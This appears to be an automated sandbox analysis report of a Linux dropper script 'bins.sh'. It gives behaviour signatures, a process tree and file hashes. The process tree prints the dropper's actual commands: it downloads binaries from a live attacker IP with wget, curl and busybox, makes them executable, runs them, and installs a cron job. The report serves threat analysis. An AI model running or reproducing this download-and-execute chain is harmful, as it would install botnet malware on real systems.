Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    26/11/2024, 09:46

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    18262d4c826687f41461cf4c4568661b

  • SHA1

    f7050df68970ac968f93be6408d72cb0fc0e92a0

  • SHA256

    91c5f16130fbed4d65bab444c62746216cb6de59e859c33b21c10894f9008af3

  • SHA512

    af0e00f652cbc9864dcf26d491302b8e81b8134d0b4df40b3b09d2aab0caf553444e4bc949d2e05c63ad7bdb5bcc98ee01f5d459662e27d69c2a9ce52c4f0585

  • SSDEEP

    192:3Om8uM+B+V+F+4+g+p7CE4/tvhOm81+B+V+F+4+g+X4:dL0gwP3p7CE8tr0gwP3X4

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1929) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1532
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1533
        • /usr/bin/wget
          wget http://216.126.231.240/bins/llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1534
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1539
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1540
        • /bin/chmod
          chmod 777 llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3
          2⤵
          • File and Directory Permissions Modification
          PID:1541
        • /tmp/llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3
          ./llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3
          2⤵
          • Executes dropped EXE
          • System Network Configuration Discovery
          PID:1542
        • /bin/rm
          rm llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3
          2⤵
          • System Network Configuration Discovery
          PID:1544
        • /usr/bin/wget
          wget http://216.126.231.240/bins/SL9EjEnG3z9rQKMM9J1GiKPKyIGkGIXS1w
          2⤵
          • Writes file to tmp directory
          PID:1545
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/SL9EjEnG3z9rQKMM9J1GiKPKyIGkGIXS1w
          2⤵
          • Writes file to tmp directory
          PID:1546
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/SL9EjEnG3z9rQKMM9J1GiKPKyIGkGIXS1w
          2⤵
          • Writes file to tmp directory
          PID:1547
        • /bin/chmod
          chmod 777 SL9EjEnG3z9rQKMM9J1GiKPKyIGkGIXS1w
          2⤵
          • File and Directory Permissions Modification
          PID:1548
        • /tmp/SL9EjEnG3z9rQKMM9J1GiKPKyIGkGIXS1w
          ./SL9EjEnG3z9rQKMM9J1GiKPKyIGkGIXS1w
          2⤵
          • Executes dropped EXE
          PID:1549
        • /bin/rm
          rm SL9EjEnG3z9rQKMM9J1GiKPKyIGkGIXS1w
          2⤵
            PID:1551
          • /usr/bin/wget
            wget http://216.126.231.240/bins/T7C4fGFH7uSUx2HyBk5FtfMIR97XuyUA0b
            2⤵
            • Writes file to tmp directory
            PID:1552
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/T7C4fGFH7uSUx2HyBk5FtfMIR97XuyUA0b
            2⤵
            • Writes file to tmp directory
            PID:1553
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/T7C4fGFH7uSUx2HyBk5FtfMIR97XuyUA0b
            2⤵
            • Writes file to tmp directory
            PID:1554
          • /bin/chmod
            chmod 777 T7C4fGFH7uSUx2HyBk5FtfMIR97XuyUA0b
            2⤵
            • File and Directory Permissions Modification
            PID:1555
          • /tmp/T7C4fGFH7uSUx2HyBk5FtfMIR97XuyUA0b
            ./T7C4fGFH7uSUx2HyBk5FtfMIR97XuyUA0b
            2⤵
            • Executes dropped EXE
            PID:1556
          • /bin/rm
            rm T7C4fGFH7uSUx2HyBk5FtfMIR97XuyUA0b
            2⤵
              PID:1558
            • /usr/bin/wget
              wget http://216.126.231.240/bins/tuKUqq9vJnTkLCNg1H6DDIqvEepigeEhWz
              2⤵
              • Writes file to tmp directory
              PID:1559
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/tuKUqq9vJnTkLCNg1H6DDIqvEepigeEhWz
              2⤵
              • Writes file to tmp directory
              PID:1560
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/tuKUqq9vJnTkLCNg1H6DDIqvEepigeEhWz
              2⤵
              • Writes file to tmp directory
              PID:1561
            • /bin/chmod
              chmod 777 tuKUqq9vJnTkLCNg1H6DDIqvEepigeEhWz
              2⤵
              • File and Directory Permissions Modification
              PID:1562
            • /tmp/tuKUqq9vJnTkLCNg1H6DDIqvEepigeEhWz
              ./tuKUqq9vJnTkLCNg1H6DDIqvEepigeEhWz
              2⤵
              • Executes dropped EXE
              PID:1563
            • /bin/rm
              rm tuKUqq9vJnTkLCNg1H6DDIqvEepigeEhWz
              2⤵
                PID:1565
              • /usr/bin/wget
                wget http://216.126.231.240/bins/DnUWnzFfI1sARGT44JXXUVtWFLUNmq3VzX
                2⤵
                • Writes file to tmp directory
                PID:1566
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/DnUWnzFfI1sARGT44JXXUVtWFLUNmq3VzX
                2⤵
                • Writes file to tmp directory
                PID:1567
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/DnUWnzFfI1sARGT44JXXUVtWFLUNmq3VzX
                2⤵
                • Writes file to tmp directory
                PID:1568
              • /bin/chmod
                chmod 777 DnUWnzFfI1sARGT44JXXUVtWFLUNmq3VzX
                2⤵
                • File and Directory Permissions Modification
                PID:1569
              • /tmp/DnUWnzFfI1sARGT44JXXUVtWFLUNmq3VzX
                ./DnUWnzFfI1sARGT44JXXUVtWFLUNmq3VzX
                2⤵
                • Executes dropped EXE
                PID:1570
              • /bin/rm
                rm DnUWnzFfI1sARGT44JXXUVtWFLUNmq3VzX
                2⤵
                  PID:1572
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/aWQNMFDTp7LItsPCOgnXkfkFp5UfjJVvMb
                  2⤵
                  • Writes file to tmp directory
                  PID:1573
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/aWQNMFDTp7LItsPCOgnXkfkFp5UfjJVvMb
                  2⤵
                  • Writes file to tmp directory
                  PID:1574
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/aWQNMFDTp7LItsPCOgnXkfkFp5UfjJVvMb
                  2⤵
                  • Writes file to tmp directory
                  PID:1575
                • /bin/chmod
                  chmod 777 aWQNMFDTp7LItsPCOgnXkfkFp5UfjJVvMb
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1576
                • /tmp/aWQNMFDTp7LItsPCOgnXkfkFp5UfjJVvMb
                  ./aWQNMFDTp7LItsPCOgnXkfkFp5UfjJVvMb
                  2⤵
                  • Executes dropped EXE
                  PID:1577
                • /bin/rm
                  rm aWQNMFDTp7LItsPCOgnXkfkFp5UfjJVvMb
                  2⤵
                    PID:1579
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/PZMmlejs7hrgcqALiIqBZ91CkPeo2pftnr
                    2⤵
                    • Writes file to tmp directory
                    PID:1580
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/PZMmlejs7hrgcqALiIqBZ91CkPeo2pftnr
                    2⤵
                    • Writes file to tmp directory
                    PID:1581
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/PZMmlejs7hrgcqALiIqBZ91CkPeo2pftnr
                    2⤵
                    • Writes file to tmp directory
                    PID:1582
                  • /bin/chmod
                    chmod 777 PZMmlejs7hrgcqALiIqBZ91CkPeo2pftnr
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1583
                  • /tmp/PZMmlejs7hrgcqALiIqBZ91CkPeo2pftnr
                    ./PZMmlejs7hrgcqALiIqBZ91CkPeo2pftnr
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:1584
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:1586
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:1587
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:1588
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:1589
                        • /bin/rm
                          rm PZMmlejs7hrgcqALiIqBZ91CkPeo2pftnr
                          2⤵
                            PID:1591
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/Ya2YiXhLBYxTsz88GKa44G79vi9u7ZAEN5
                            2⤵
                              PID:1594

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/DnUWnzFfI1sARGT44JXXUVtWFLUNmq3VzX

                            Filesize

                            107KB

                            MD5

                            eb9c3a0de91fcf16ba17cb24608df68c

                            SHA1

                            09d95a7d70d5e115d103be51edff7c498d272fac

                            SHA256

                            dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                            SHA512

                            9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                          • /tmp/PZMmlejs7hrgcqALiIqBZ91CkPeo2pftnr

                            Filesize

                            112KB

                            MD5

                            05d7857dcead18bbd86d2935f591873c

                            SHA1

                            34d18f41ef35f93d5364ce3e24d74730a4e91985

                            SHA256

                            2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                            SHA512

                            d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                          • /tmp/SL9EjEnG3z9rQKMM9J1GiKPKyIGkGIXS1w

                            Filesize

                            119KB

                            MD5

                            1b166b95f9cb4b079ef1b9ec8363ddf3

                            SHA1

                            0d8eb08add467b3b5474f9b25909297fe7c2839c

                            SHA256

                            94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                            SHA512

                            983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                          • /tmp/T7C4fGFH7uSUx2HyBk5FtfMIR97XuyUA0b

                            Filesize

                            111KB

                            MD5

                            ca897a38f23ec23521ce0b1b83f8422d

                            SHA1

                            b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                            SHA256

                            043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                            SHA512

                            10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                          • /tmp/aWQNMFDTp7LItsPCOgnXkfkFp5UfjJVvMb

                            Filesize

                            117KB

                            MD5

                            849fa04ef88a8e8de32cb2e8538de5fe

                            SHA1

                            c768af29fe4b6695fff1541623e8bbd1c6f242f7

                            SHA256

                            8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                            SHA512

                            2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                          • /tmp/llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3

                            Filesize

                            177KB

                            MD5

                            786d75a158fe731feca3880f436082c0

                            SHA1

                            79ea2734e43d00cdeabed5586b2c1994d02aef3e

                            SHA256

                            5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                            SHA512

                            7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                          • /tmp/tuKUqq9vJnTkLCNg1H6DDIqvEepigeEhWz

                            Filesize

                            111KB

                            MD5

                            701e7a55a4f3650f5feee92a9860e5fc

                            SHA1

                            6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                            SHA256

                            ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                            SHA512

                            7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                          • /var/spool/cron/crontabs/tmp.1mzAqu

                            Filesize

                            210B

                            MD5

                            ce232c78ea3ecbc8daad7c9b11e722cb

                            SHA1

                            e107241ec40ffce330257cce1dedcb2efd0b2c8d

                            SHA256

                            0b96ead356f709d6e2ea1d22ebd53e450c43144d1824ab002f6acf524e1792f8

                            SHA512

                            b16caf0a90f9fadcb1379d6245eb23be89662b744aea96e6ae9705e35ca8a6bdfb041329cf53a16a8679d9f606724bc6ecd79f3f49526711e52c178e54be7ae8